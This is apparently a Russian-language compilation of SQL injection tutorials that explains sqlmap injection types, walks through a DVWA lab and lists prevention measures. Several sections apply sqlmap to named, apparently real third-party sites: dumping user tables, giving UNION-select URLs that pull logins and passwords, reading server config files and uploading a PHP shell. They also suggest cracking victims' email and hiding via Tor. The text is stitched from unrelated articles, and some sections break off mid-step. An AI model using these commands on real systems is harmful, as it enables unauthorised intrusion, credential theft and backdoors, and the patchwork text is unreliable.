Заливка шелла с помощью sql инъекции. Инструкция по использованию sqlmap. Ч.1: Основы работы (GET). Как работает SQL-инъекциях

SQL Injection – это тип атаки, при котором злоумышленник изменяет логику SQL запросов веб-приложения, что позволяет ему читать/изменять/удалять значения в базе данных, а иногда – выполнять произвольный код на стороне сервера. В статье будет рассмотрена популярная утилита sqlmap для проведения sql-инъекций.

На данный момент, данный тип уязвимости является наиболее опасным из всех возможных. На протяжении 7 лет, лидирующую строчку «OWASP TOP -10» возглавляют именно SQL инъекции.

Существует 5 основных причин возникновения этой уязвимости:

  1. Недостаточный уровень или отсутствие валидации входных параметров, в особенности пользовательского ввода. «Любой входной параметр — зло»
  2. Необоснованный и слабозащищенный доступ к базам данных. В эту категорию входят такие факторы как: большое количество администраторов и супер-пользователей (root ), слабая система аутентификации, большое количество прав для второстепенных администраторов и т.д.
  3. Архитектура. Использование устаревших технологий, отсутствие контрольных мер, пренебрежение методологией «моделирование угроз».
  4. Наследственность заведомо уязвимого кода, использование готовых решений с низким уровнем безопасности.
  5. Отсутствие должного уровня абстрагированности исполняемого кода от данных.

SQLMap.

Типы SQL инъекций.

Рассмотрим типы SQL инъекций эксплуатируемые утилитой SQLMap :

  1. Boolean Based Blind SQL Injection
    • Метод, при котором HTTP -запросы и ответы считываются посимвольно для обнаружения уязвимости.
    • Как только уязвимый параметр обнаружен, SQLMap заменяет или добавляет синтаксически правильные операторы SQL, ожидая реакции выполнения этого кода сервером.
    • SQLMap сравнивает оригинальный валидный запрос с ответом от запроса с внедрённым зловредным кодом.
    • SQLMap использует алгоритм деления пополам (bisectional algorithm ) для выборки каждого символа ответа с использованием максимум семи HTTP -запросов.
    • Там, где ответ отдаётся не в чистом тексте, SQLMap адаптирует алгоритм большими значениями для определения ответа.
  2. Time-Based Blind SQL Injection
    • Метод Time Based сам по себе предполагает, что существует некоторое сравнение на основе времени запроса и ответа путем инъекции синтаксически правильного оператора SQL в уязвимый параметр.
    • SQLMap использует операторы SQL, которые помещают базу данных в режим ожидания для возврата на определенное количество времени.
    • Использует тот же алгоритм bisectional algorithm , чтобы выводить символ за символом, SQLMap сравнивает время ответа HTTP с исходным запросом.
  3. Error-Based SQL Injection
    • SQLMap использует операторы SQL , которые могут спровоцировать генерацию специфической ошибки.
    • Утилита ищет ошибки в HTTP -ответе сервера.
    • Этот метод работает только в том случае, если веб-приложение настроено на раскрытие сообщений об ошибках.
  4. UNION Query
    • Вводимый SQL оператор UNION ALL SELECT .
    • SQL -инъекция, основанная на запросах UNION , работает на основе поведения приложения, т.е. когда приложение передает результат письменного запроса SELECT через определенный цикл или строку инструкций, которые позволяют выводить выходные данные на содержимое страницы.
    • В случае, если вывод не циклируется через какой-либо цикл for или другую строку операторов, SQLMap использует однократную инъекцию запроса UNION.
  5. Stacked Query
    • Использование сложенных запросов. SQLMap добавляет точку с запятой (;) в значение уязвимого параметра и добавляет инструкцию SQL, которая должна быть выполнена.
    • Используя эту технику, можно выполнять SQL-выражения, отличные от SELECT. Это полезно для манипуляции данными, получения доступа на чтение и запись и, наконец, захвата операционной системой.
  6. Out-Of-Band
    • В этом методе используется вторичный или другой канал связи для вывода результатов запросов, запущенных в уязвимом приложении.
    • Например, вставка выполняется в веб-приложение, а вторичный канал, такой как DNS-запросы , используется для пересылки данных обратно на домен злоумышленника.

Базовое использование SQLMap .

Запуск утилиты (должна находиться в переменной PATH ):

$ sqlmap

Или из директории утилиты:

$ python sqlmap.py

Для вызова документации используется ключ «- h / — help »:

$ sqlmap --help $ python sqlmap.py –help

Действия ключей SQLMap полностью зависят от того, чего конкретно хочет добиться злоумышленник. Основной список действий SQLMap выглядит следующим образом:

  • Перечислить информацию о базе данных, такую как имя, версию и другие детали.
  • Выбрать определённую базу для перечисления информации о имеющихся в ней таблиц.
  • Выбрать таблицу и перечислить информацию о столбцах.
  • Выбрать столбец и перечислить строки для извлечения их значений.
  • Дальнейшая эксплуатация.

Практика.

Для нашей практической подготовки мы будем использовать Damn Vulnerable Web Application (DVWA или «Чертовски уязвимое веб приложение»).

DVWA это свободно распространяемое веб-приложение построенное на таких технологиях как PHP и MySQL , предназначенное для тренировки навыков пентеста.

Сейчас нас интересуют только инъекции, но в целом, вы можете проверить свои способности в остальных уязвимостях, созданных на основе официального OWASP TOP -10 .

P .S .: Эта практика подразумевает наличие у вас знания основ Linux , начального уровня английского языка и умение использовать Google (в случае неимения вышеперечисленных навыков).

Установка:

  • Скачиваем приложение и следуем инструкциям;
  • Меняем уровень сложности на LOW ;
  • Интересуемся только вкладками “SQL Injection ”;

Начальные данные:

  • Веб сервер в приватной сети
  • Уязвимый URL : http:// your host . com /dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#
  • Уязвимый параметр: id

Итак, приступим:

  1. Подтверждаем наличие SQL инъекции:
./sqlmap.py --url=”http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee"

Пояснение к команде:

— url – URL с предполагаемым уязвимым параметром. Важно заметить, что переменная этого ключа записана в кавычках, т.к. проверяемый URL имеет больше одного передаваемого параметра. В противном случае кавычками можно пренебречь и использовать короткий вариант ключа “- u без знака равенства.

— cookie – Сессионная куки для прямого доступа во время атаки (необязательный ключ).

Вывод:

Анализ:

  • Приложение уязвимо к SQL инъекции
  • Тип инъекции – UNION Query
  • Back-end база данных(DBMS) – MySQL5
  • Технические детали ОС — Linux Ubuntu 8.04, PHP 5.2.4, Apache 2.2.8
  1. Перечисляем названия баз данных:
./sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee" –dbs

Пояснение к команде:

—dbs – ключ для перечисления имеющихся баз данных.

Вывод:

Анализ: SQLMap перечислил доступные базы данных (всего 7).

  1. Перечисляем названия таблиц (бд — dvwa ):
./sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee" -D dvwa –tables

Пояснение к команде:

—D – Указываем интересующую нас базу данных.

—tables – Перечисляем имеющиеся таблицы в бд.

Вывод:

Анализ: Как мы видим, SQLMap успешно перечислил названия 2-х таблиц в бд dvwa .

  1. Дальнейшее перечисление названий столбцов таблицы “ users ”:
./sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee" -D dvwa -T users –columns

Пояснение к команде:

—T – Указываем интересующую нас таблицу.

—columns – Перечисляем имеющиеся колонки в таблице.

Вывод:

Анализ: Как мы видим, SQLMap успешно перечислил названия 6-х колонок в таблице users , бд dvwa .

  1. Перечисляем/вытягиваем значения из таблицы “ users ”:
./sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee" -D dvwa -T users -C user_id,user,password --dump

Пояснение к команде:

С – Указываем интересующие нас столбцы.

—dump – Вытягиваем значения из перечисленных столбцов.

Вывод:

Анализ: Основываясь на ответе SQLMap отмечаем следующие моменты:

  • SQLMap извлекает записи из указанных столбцов и затем анализирует данные, содержащиеся в этих столбцах.
  • Как только данные распознаются как возможные хэши паролей, SQLMap пытается попытаться взломать хэш, используя различные алгоритмы хеширования.
  • В этом случае хеш — MD5, поэтому с помощью самой первой хеш-техники, которую использует инструмент, он может успешно взламывать хэши и выдавать хорошо отформатированный ответ.
  • Кроме того, инструмент сохраняет перечисленные записи в файле формата «.csv» для дальнейшего использования; Поэтому вам не нужно выгружать данные в текстовый файл или делать скриншот, SQLMap позаботится об этом.
  1. Дальнейшая эксплуатация и захват сервера (ASP , не входит в состав DVWA ):
./sqlmap.py --url="http://192.168.152.129/login.asp" --data="txtLoginID=shrikant&txtPassword=password&cmdSubmit=Login" --os-shell

Пояснение к команде:

—data – Указываем параметры для тестирования, передающиеся в POST запросе.

—os —shell – Специальный ключ для попытки эксплуатации серверной консоли через SQL инъекцию.

Вывод:

Анализ: Основываясь на ответе SQLMap отмечаем следующие моменты:

  • После подтверждения и эксплуатации SQL-инъекции, SQLMap проверяет, является ли пользователь DBA (Data Base Administrator ).
  • После этого инструмент попытался использовать расширенную хранимую процедуру — «xp_cmdshell», которая обычно используется SQL Server 2000.
  • «xp _cmdshell » используется для выполнения заданной командной строки в качестве команды операционной системы. В свою очередь, он выводит результат как стандартный текст.

Преимущества получения более глубокого уровня доступа к системе:

  • Доступ к учетным данным пользователя или хэшам паролей.
  • Интерактивная оболочка, которая позволит вам загружать или выгружать файлы с сервера.
  • Запуск осевых команд (ОS ) для изучения внутренней сети.
  • Возможность загрузки малвари.
  • Дальнейшая эксплуатация с помощью Metasploit Framework .
  • Создание и залив бэк-доров.

Best practices и продвинутое использование .

  1. SQLMap и SOAP (Simple Object Access Protocol ) запросы: Процесс анализа запросов SOAP довольно прост:
    • Захват вашего SOAP- запроса.
    • Сохранение его в текстовый файл вместе с возможными уязвимыми параметрами.
    • Используйте нижеприведенную команду для SQLMap вместе с опцией -p, если вам известен уязвимый параметр:
$ ./sqlmap.py -r So_request.txt -p
    • SQLMap автоматически проанализирует запрос SOAP и попытается проникнуть в уязвимый параметр.
  1. SQLMap и JSON (JavaScript Object Notation ) запросы: В аналогичных сценариях использования SQLMap для SOAP -запросов, JSON -запросы тоже могут анализироваться и эксплуатировать. Для запроса типа JSON , SQLMap предложит вам эксплуатировать уязвимость обнаружив тип запроса JSON в «файле запроса». Как только вы ответите утвердительно, инструмент проанализирует запрос и выберет свой собственный вектор атаки.
  2. SQLMap и прокси-сервер: Корпоративныетипы сетей обычно защищены и контролируются с использованием контролируемых прокси-серверов для всего входящего или исходящего трафика. В таких случаях у вас есть возможность добавить параметр прокси прямо к опции SQLMap для связи с целевым URL. Хотя SQLMap является инструментом командной строки, он обменивается данными через HTTP-протокол, следовательно, если вы установите HTTP-прокси для соответствующего интернет-соединения, SQLMap примет его за основу:
$ ./sqlmap.py --proxy=http://:
  1. SQLMap и WAF (Web Application Firewall ): WAF является дополнительным уровнем защиты веб-приложений, значительно усложняя анализ и эксплуатацию стандартными методами имеющимися в SQLMap . Для этого существует функция “tamper —script ”, которая значительно упрощает работу с веб-приложениями, находящимися за WAF ’ом.
  2. SQLMap и анонимность: Если вы хотите скрыть свою личность и представиться анонимом для целевого приложения, вы можете использовать прокси-сервер TOR (The Onion Router). В SQLMap вы можете настроить прокси-сервер TOR для скрытия источника, из которого генерируется трафик или запрос следующими ключами:
    • tor переключение утилиты в режим использования TOR -прокси.
    • tor type ручная настройка протокола TOR -прокси (HTTP /SOCKS 4/4a /5).
    • check tor проверка работоспособности TOR -прокси

SQL инъекция — это атака, которая задействует динамические операторы SQL , вынося в комментарии определенные части инструкций или добавляя условие, которое всегда будет истинным. Она нацелена на дыры в архитектуре веб-приложений и использует операторы SQL для выполнения вредоносного SQL-кода :

В этой статье мы рассмотрим методы, используемые при SQL-инъекциях и способы защиты веб-приложений от таких атак.

Как работает SQL-инъекциях

Типы атак, которые могут быть выполнены с использованием SQL-инъекции , различаются по типу поражаемых механизмов базы данных. Атака нацеливается на динамические операторы SQL . Динамический оператор — это оператор, который создается во время выполнения на основе параметров из веб-формы или строки запроса URI .

Рассмотрим простое веб-приложение с формой входа. Код HTML-формы приведен ниже:

  • Форма принимает адрес электронной почты, а затем пароль отправляется в файл PHP с именем index.php ;
  • Сессия хранится в файле cookie . Эта возможность активируется при установке флажка remember_me . Для отправки данных используется метод post . Это означает, что значения не отображаются в URL-адресе .

Предположим, что запрос для проверки идентификатора пользователя на стороне сервера выглядит следующим образом:

  • Запрос использует значения массива $ _POST напрямую, не санируя его;
  • Пароль шифруется с использованием алгоритма MD5 .

Мы рассмотрим атаку с использованием SQL инъекции sqlfiddle . Откройте в браузере URL-адрес http://sqlfiddle.com/ . На экране появится следующее окно.

Примечание : вам нужно будет написать инструкции SQL :

Шаг 1. Введите этот код в левую панель:

CREATE TABLE `users` (`id` INT NOT NULL AUTO_INCREMENT, `email` VARCHAR(45) NULL, `password` VARCHAR(45) NULL, PRIMARY KEY (`id`)); insert into users (email,password) values ("[email protected]",md5("abc"));

Шаг 2. Нажмите кнопку «Build Schema ».
Шаг 3. Введите приведенный ниже код в правой панели:

select * from users;

Шаг 4. Нажмите «Run SQL ». Вы увидите следующий результат:

Предположим, что пользователь предоставляет адрес электронной почты [email protected] и 1234 в качестве пароля. Запрос, который должен быть выполнен в базе данных, может выглядеть следующим образом:

Приведенный выше код SQL инъекции примера может быть обойден путем выведения в комментарии части пароля и добавления условия, которое всегда будет истинным. Предположим, что злоумышленник подставляет следующие данные в поле адреса электронной почты:

[email protected]" OR 1 = 1 LIMIT 1 -- " ]

и xxx в поле пароля.

Сгенерированный динамический оператор будет выглядеть следующим образом:

  • [email protected] заканчивается одной кавычкой, которая завершает строку;
  • OR 1 = 1 LIMIT 1 — это условие, которое всегда будет истинным, оно ограничивает возвращаемые результаты только одной записью.

0; ‘ AND … — это комментарий SQL , который исключает часть пароля.

Скопируйте приведенный выше запрос и вставьте его в текстовое поле SQL FiddleRun SQL , как показано ниже:

Хакерская активность: SQL-инъекции в веб-приложения

У нас есть простое веб-приложение, доступное по адресу http://www.techpanda.org/ , которое специально сделано уязвимым для атак с использованием SQL инъекций для новичков в демонстрационных целях. Код HTML-формы , приведенный выше, взят со страницы авторизации данного приложения.

Оно обеспечивает базовую безопасность, такую как санация поля электронной почты. Это означает, что приведенный выше код не может использоваться для обхода данного механизма.

Чтобы обойти его, можно использовать поле пароля. На приведенной ниже диаграмме показаны шаги, которые нужно выполнить:

Предположим, что злоумышленник предоставляет следующие данные:

Шаг 1 : Вводит [email protected] в качестве адреса электронной почты;
Шаг 2 : Вводит xxx’) OR 1 = 1 — ] ;

Нажимает кнопку «Отправить ».

Он будет направлен в панель администрирования. Сгенерированный запрос будет выглядеть следующим образом:

На приведенной ниже диаграмме показано, как запрос был сгенерирован:

Здесь:

  • В запросе предполагается, что используется шифрование md5 ;
  • Используется закрывающаяся одиночная кавычка и скобка;
  • К оператору добавляется условие, которое всегда будет истинным.

Как правило, злоумышленники для достижения своих целей пытаются применить в атаке с использованием SQL инъекций несколько различных методов.

Другие типы атак с использованием SQL-инъекций

SQL-инъекции могут нанести гораздо больший ущерб, чем вход в систему в обход механизма авторизации. Некоторые из таких атак могут:

  • Выполнить удаление данных;
  • Выполнить обновление данных;
  • Выполнить добавление данных;
  • Выполнить на сервере команды, которые будут загружать и устанавливать вредоносные программы;
  • Выполнить экспорт на удаленный сервер злоумышленника ценных данных, таких как реквизиты кредитной карты, электронная почта и пароли.

Приведенный выше список не является полным. Он просто дает представление о том, какую опасность представляют SQL-инъекции .

Инструменты для автоматизации SQL-инъекций

В приведенном выше примере мы использовали методы ручной атаки. Перед тем, как сделать SQL инъекцию , нужно понимать, что существуют автоматизированные инструменты, которые позволяют выполнять атаки эффективнее и быстрее:

  • SQLSmack ;
  • SQLPing 2 ;
  • SQLMap .

Как предотвратить SQL-инъекции

Вот несколько простых правил, которые позволят защититься от атак с использованием SQL-инъекций :

Ввод пользовательских данных не должен быть доверенным . Его всегда нужно санировать, прежде чем данные будут использоваться в динамических операциях SQL.

Хранимые процедуры — они могут инкапсулировать SQL-запросы и обрабатывать все входные данные в качестве параметров.

Подготовленные запросы — сначала создаются запросы, а затем все предоставленные пользовательские данные обрабатываются в качестве параметров. Это не влияет на синтаксис инструкции SQL .

Регулярные выражения — могут быть использованы для обнаружения потенциально вредоносного кода и его удаления перед выполнением операторов SQL .

Права доступа на подключение к базе данных – чтобы защититься от SQL инъекций , учетным записям, которые используются для подключения к базе данных, должны предоставляться только необходимые права доступа. Это поможет ограничить действия, которые SQL-операторы могут выполнять на сервере.

Сообщения об ошибках — не должны раскрывать конфиденциальную информацию. Простые пользовательские сообщения об ошибках, такие как «Извините, возникла техническая ошибка. Служба поддержки уже уведомлена о ней. Повторите попытку позже », можно использовать вместо отображения запросов SQL , вызвавших ошибку.

Что такое sqlmap, для чего она нужна

Программа позволяет проверять сайты на наличие в них уязвимости SQL-инъекция, уязвимости XSS, а также эксплуатировать SQL-инъекцию. Поддерживаются разнообразные типы SQL-инъекций и разнообразные базы данных.

Что можно делать с помощью sqlmap

С помощью sqlmap можно:

  • проверять, имеется ли в сайтах уязвимость

Если сайт уязвим к SQL-инъекции, то возможно:

  • получать информацию из базы данных, в том числе дамп (всю) базу данных
  • изменять и удалять информацию из базы данных
  • заливать шелл (бэкдор) на веб-сервер

Один из сценариев использования sqlmap:

  • Получение имени пользователя и пароля из базы данных
  • Поиск панелей администрирования сайта (админок)
  • Вход в админку с полученным логином и паролем

При наличии уязвимости атака может развиваться по различным направлениям:

  • Модификация данных
  • Заливка бэкдора
  • Внедрение JavaScript кода для получения данных пользователей
  • Внедрение кода для подцепления на BeEF

Как мы можем убедиться, SQL-инъекция - очень опасная уязвимость, которая даёт злоумышленнику большие возможности.

Проверка сайтов с помощью sqlmap

Если сайт получает данные от пользователя методом GET (когда и имя переменной и передаваемые данные видны в адресной строке браузера), то нужно выбрать адрес страницы, в которой присутствует эта переменная. Она идёт после вопросительного знака (? ), например:

  • http://www.dwib.org/faq2.php?id=8
  • http://www.wellerpools.com/news-read.php?id=22
  • http://newsandviews24.com/read.php?id=p_36

В первом адресе, имя переменной - id , а передаваемое значение - 8 . Во втором адресе имя переменной также id , а передаваемое значение 22 . В третьем примере имя переменной такое же, но передаваемое значение p_36 . Одинаковое имя переменной - это случайное совпадение для разных сайтов, оно может быть любым, могут быть любыми передаваемые данные, может присутствовать несколько переменных со значениями, разделённые символом & .

Если мы хотим проверить, уязвима ли переменная id к SQL-инъекции, то нам нужно вводить адрес полностью - http://www.dwib.org/faq2.php?id=8 (а не http://www.dwib.org/faq2.php или http://www.dwib.org).

Команда для проверки переменной, передаваемой методом GET, очень проста:

Sqlmap -u адрес_сайта

Для данных сайтов команды будут:

Sqlmap -u http://www.dwib.org/faq2.php?id=8 sqlmap -u http://www.wellerpools.com/news-read.php?id=22 sqlmap -u http://newsandviews24.com/read.php?id=p_36

В процессе проверки sqlmap может задавать различные вопросы и на них нужно отвечать y (т.е. Да) или n (т.е. Нет). Буква y и n могут быть заглавными или маленькими. Заглавная буква означает выбор по умолчанию, если вы с ним согласны, то просто нажмите Enter.

Примеры ситуаций и вопросов:

Heuristics detected that the target is protected by some kind of WAF/IPS/IDS do you want sqlmap to try to detect backend WAF/IPS/IDS?

Эвристика определила, что цель защищена каким-то WAF/IPS/IDS. Вы хотите, чтобы sqlmap попыталась определить наименование WAF/IPS/IDS?

Мой любимый запрос:

Heuristic (basic) test shows that GET parameter "id" might be injectable (possible DBMS: "MySQL") testing for SQL injection on GET parameter "id" it looks like the back-end DBMS is "MySQL". Do you want to skip test payloads specific for other DBMSes?

Суть в том, что эвристика определила, что параметр может быть уязвим и уже определена удалённая СУБД, нас спрашивают, хотим ли мы продолжить проверку. А на втором скриншоте сайте ещё и уязвим к XSS.

Если вы хотите автоматизировать процесс, чтобы sqlmap не спрашивала вас каждый раз, а использовала выбор по умолчанию (там всегда лучшие варианты), то можно запустить команду с опцией --batch :

Sqlmap -u http://www.dwib.org/faq2.php?id=8 --batch

Возможные проблемы при сканировании sqlmap

Могут появиться следующей ошибки:

Connection timed out to the target URL. sqlmap is going to retry the request(s) if the problem persists please check that the provided target URL is valid. In case that it is, you can try to rerun with the switch "--random-agent" turned on and/or proxy switches ("--ignore-proxy", "--proxy",...)

Она означает, что веб-сайт не хочет «разговаривать» с sqlmap. В качестве варианта нам предлагают использовать --random-agent . Если в браузере вы можете наблюдать сайт, а sqlmap пишет о невозможности подключиться, значит сайт игнорирует запросы, ориентируясь на пользовательский агент. Опция --random-agent меняет стандартное значение sqlmap на произвольные:

Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent

Ещё одной причиной такой ошибки может быть блокировка вашего IP веб-сайтом - тогда нужно использовать прокси. Если вы уже используете прокси и появляется эта ошибка, то это может означать, что у прокси проблемы со связью и стоит попробовать без него.

Результаты сканирования sqlmap

Найденные SQL-инъекции отображаются следующим образом:

Т.е. выделяются жирно-салатовым цветом, пишется имя уязвимого параметра, вид SQL-уязвимости и имеется слово injectable .

Получение списка баз данных с sqlmap

Для получения списка баз данных используется опция --dbs . Примеры:

Sqlmap -u http://www.dwib.org/faq2.php?id=8 --dbs sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent --dbs sqlmap -u http://newsandviews24.com/read.php?id=p_36 --dbs

Получение информации из баз данных

Например, для сайта wellerpools.com обнаружено две базы данных:

[*] information_schema [*] main_wellerpools

Я хочу узнать список таблиц в базе данных main_wellerpools. Для этого используется опция --tables . Кроме неё, нам нужно указать интересующую нас таблицу после опции -D :

Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent -D main_wellerpools --tables

Список таблиц:

По какой-то причине, мне хочется узнать список колонок из таблицы users. Для этого используется опция --columns . Кроме неё, нам нужно указать интересующую нас базу данных (-D main_wellerpools ) и после ключа -T таблицу, для которой мы хотим увидеть список колонок:

Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent -D main_wellerpools -T users --columns

Для вывода содержимого используется опция --dump . Её можно указать вместе с базой данных, и тогда будет сделан дамп всей базы данных, а можно ограничить данные одной таблицей или даже одной колонкой. Следующей командой я хочу увидеть содержимое всей таблицы users:

Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent -D main_wellerpools -T users --dump

Взгляните на пароли - я при беглом осмотре подумал, что это хеши. Админы правда старались защититься, но это им не помогло.

Кстати, поскольку уязвим параметр, принимающий данные, отправленные методом GET, то можно сформировать запрос прямо в строке браузера таким образом, что логин и пароль пользователя будут выведены прямо на самом сайте:

  • http://www.wellerpools.com/news-read.php?id=-22+union+select+1,group_concat(user_name,0x3a,user_pwd),3,4,5,6,7,8,9,10+from+users--
  • http://www.wellerpools.com/news-read.php?id=-22+UNION+SELECT+1,group_concat(user_id,0x3e,user_name,0x3e,user_pwd),3,4,5,6,7,8,9,10+from+users--

Т.е. у нас имя пользователя, пароль и почта пользователей (а скорее всего даже администраторов) сайта. Если удастся найти административную панель сайта, то можно получить управление над сайтом или веб-сервером. Учитывая любовь пользователей к одинаковым паролям и зная их почтовые ящики - можно попробовать взломать почту.

В общем, SQL-инъекция - это очень опасная уязвимость.

Спойлер: .DZEN

У нас имеется SQL Injection на сайт, которая выглядит следующим образом,

Первым дело нам желательно проверить имеем ли мы привилегии на запись файлов на атакуемом ресурсе, для этого загружаем терминал и даем следующую команду:

Http://www.sacoor.com/site_terms.php?lang=en --banner --current-db --current-user --is-dba

Жмем Enter и начинается анализ нашей SQL Injection, выглядит отчет следующим образом:

Как вы видите в отчете написана версия Apache, версия MySQL, и версия ОС, установленной на сервере, все это нам пригодится в дальнейшем, но самое главное вы видите, что мы имеем права на запись файлов, это отображается в строчке Current User is DBA: True

Следующим шагом для нас является получение путей для записи нашего шелла. Путь до нашего сайта на сервере мы можем получить, скачав файл httpd.conf. Информацию о местоположении файла httpd.conf мы получаем с помощью Google, можно поискать по версии ОС, которая установлена или по списку наиболее вероятных путей. В общем не буду углубляться в серфинг по поисковым системам, просто когда выяснили наиболее вероятное месторасположение пути к файлу, то самое время скачать этот самый файл к себе на диск, для этого вводим следующую команду и запрашиваем чтение файла на сервере:

Sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --file-read=/etc/httpd/conf/httpd.conf

Сразу отметим, что не всегда удается найти этот конфиг-файл с первого раза, поэтому вы можете использовать наиболее вероятные пути по которым этот файл может находиться:

СПИСОК ВЕРОЯТНЫХ ПУТЕЙ К ФАЙЛУ КОНФИГА:

../../../../../../../../../usr/local/apache/conf/httpd.conf ../../../../../../../../../usr/local/apache2/conf/httpd.conf ../../../../../../../../usr/local/apache/httpd.conf ../../../../../../../../usr/local/apache2/httpd.conf ../../../../../../../../usr/local/httpd/conf/httpd.conf ../../../../../../../usr/local/etc/apache/conf/httpd.conf ../../../../../../../usr/local/etc/apache2/conf/httpd.conf ../../../../../../../usr/local/etc/httpd/conf/httpd.conf ../../../../../../../usr/apache2/conf/httpd.conf ../../../../../../../usr/apache/conf/httpd.conf ../../../../../../../usr/local/apps/apache2/conf/httpd.conf ../../../../../../../usr/local/apps/apache/conf/httpd.conf ../../../../../../etc/apache/conf/httpd.conf ../../../../../../etc/apache2/conf/httpd.conf ../../../../../../etc/httpd/conf/httpd.conf ../../../../../../etc/http/conf/httpd.conf ../../../../../../etc/apache2/httpd.conf ../../../../../../etc/httpd/httpd.conf ../../../../../../etc/http/httpd.conf ../../../../../../etc/httpd.conf ../../../../../opt/apache/conf/httpd.conf ../../../../../opt/apache2/conf/httpd.conf ../../../../var/www/conf/httpd.conf ../conf/httpd.conf

Мы получаем отчет от sqlmap в следующем виде:

Как вы видите, sqlmap нам сказал, что файл имеет такой же размер как и файл на сервере, следовательно мы имеем право на чтение этого файла. Если бы прав на чтение этого файла не хватало, то вылезла бы ошибка, что файл сохраненный на нашей машине имеет другой размер в отличие от файла на сервере, либо файла на сервере по указанному нами пути нет и никогда не было. Sqlmap cохранил наш файл в файлах отчета, а что бы прочитать его нужно запустить оконный менеджер. Для запуска оконного менеджера мы открываем еще одно окно терминала и вводим команду:

Далее в открывшемся менеджере идем по пути, куда sqlmap сложил файл т.е.:
/root/.sqlmap/output/sacoor.com
Далее, наведя курсор на файлик нажимаем кнопку F3 на клавиатуре и читаем конфиг-файл Apache:

Из нашего конфиг-файла мы видим, что наш сайт лежит на сервере по следующему пути:
/home/sbshop/site/

Теперь, когда мы имеем немного информации, можно пробовать залить шелл, для этого вводим следующую команду:

Sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --os-cmd –v l

После ввода команды sqlmap спросит какой тип заливщика мы желаем использовать, т.к. в нашем случае сайт на PHP, то и заливать мы будем PHP-loader, выбираемпункт4 и жмем Enter. Далее, sqlmap попросит выбрать нас куда мы будем заливать наш загрузчик, а т.к. мы уже знаем путь к нашему сайту на сервере, то выбираемпункт 2, нажимем Enter и указываем путь к сайту:
/home/sbshop/site/

А после этого жмем Enter и видим следующий отчет:

В данном случае sqlmap нам говорит, что в данную папку у нас нет прав на запись. Не беда, эту проблему достаточно легко решить. Даем команду на запуск uniscan и чекаем файлы и папки на возможность записи, вот команда.

Приветствую тебя, читатель. Последнее время, я увлекаюсь Web-безопасностью, да и в какой-то степени работа связана с этим. Т.к. я всё чаще и чаще стал замечать темы на различных форумах, с просьбой показать, как это всё работает, решил написать статью. Статья будет рассчитана на тех, кто не сталкивался с подобным, но хотел бы научиться. В сети относительно много статей на данную тематику, но для начинающих они немного сложные. Я постараюсь описать всё понятным языком и подробными примерами.

Предисловие

Для того, чтобы понять данную статью, вам не особо понадобится знания SQL-языка, а хотя бы наличие хорошего терпения и немного мозгов - для запоминания.

Я считаю, что одного прочтения статьи будет мало, т.к. нам нужны живые примеры - как известно практика, в процессе запоминания, не бывает лишней. Поэтому мы будем писать уязвимые скрипты и тренироваться на них.

Что же такое SQL инъекция?
Говоря простым языком - это атака на базу данных, которая позволит выполнить некоторое действие, которое не планировалось создателем скрипта. Пример из жизни:

Отец, написал в записке маме, чтобы она дала Васе 100 рублей и положил её на стол. Переработав это в шуточный SQL язык, мы получим:
ДОСТАНЬ ИЗ кошелька 100 РУБЛЕЙ И ДАЙ ИХ Васе

Так-как отец плохо написал записку (Корявый почерк), и оставил её на столе, её увидел брат Васи - Петя. Петя, будучи хакер, дописал там «ИЛИ Пете» и получился такой запрос:
ДОСТАНЬ ИЗ кошелька 100 РУБЛЕЙ И ДАЙ ИХ Васе ИЛИ Пете

Мама прочитав записку, решила, что Васе она давала деньги вчера и дала 100 рублей Пете. Вот простой пример SQL инъекции из жизни:) Не фильтруя данные (Мама еле разобрала почерк), Петя добился профита.

Подготовка
Для практики, Вам понадобится архив с исходными скриптами данной статьи. Скачайте его и распакуйте на сервере. Также импортируйте базу данных и установите данные в файле cfg.php

Поиск SQL injection

Как Вы уже поняли, инъекция появляется из входящих данных, которые не фильтруются. Самая распространенная ошибка - это не фильтрация передаваемого ID. Ну грубо говоря подставлять во все поля кавычки. Будь это GET/POST запрос и даже Cookie!

Числовой входящий параметр
Для практики нам понадобится скрипт index1.php . Как я уже говорил выше, подставляем кавычки в ID новости.

Т.к. у нас запрос не имеет фильтрации:

$id = $_GET["id"]; $query = "SELECT * FROM news WHERE id=$id";

Скрипт поймет это как

SELECT * FROM news WHERE id=1"

И выдаст нам ошибку:
Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in C:\WebServ\domains\sqlinj\index1.php on line 16

Если ошибку не выдало - могут быть следующие причины:

1.SQL инъекции здесь нет - Фильтруются кавычки, или просто стоит преобразование в (int)
2.Отключен вывод ошибок.

Если все же ошибку вывело - Ура! Мы нашли первый вид SQL инъекции - Числовой входящий параметр.

Строковой входящий параметр

Запросы будем посылать на index2.php . В данном файле, запрос имеет вид:
$user = $_GET["user"]; $query = "SELECT * FROM news WHERE user="$user"";

Тут мы делаем выборку новости по имени пользователя, и опять же - не фильтруем.
Опять посылаем запрос с кавычкой:

Выдало ошибку. Ок! Значит уязвимость есть. Для начала нам хватит - приступим к практике.

Приступаем к действиям

Немного теории

Наверно Вам уже не терпится извлечь что-то из этого, кроме ошибок. Для начала усвойте, что знак " -- " считается комментарием в языке SQL.

ВНИМАНИЕ! Перед и после него обязательно должны стоять пробелы. В URL они передаются как %20

Всё, что идет после комментария - будет отброшено То есть запрос:
SELECT * FROM news WHERE user="AlexanderPHP" -- habrahabra

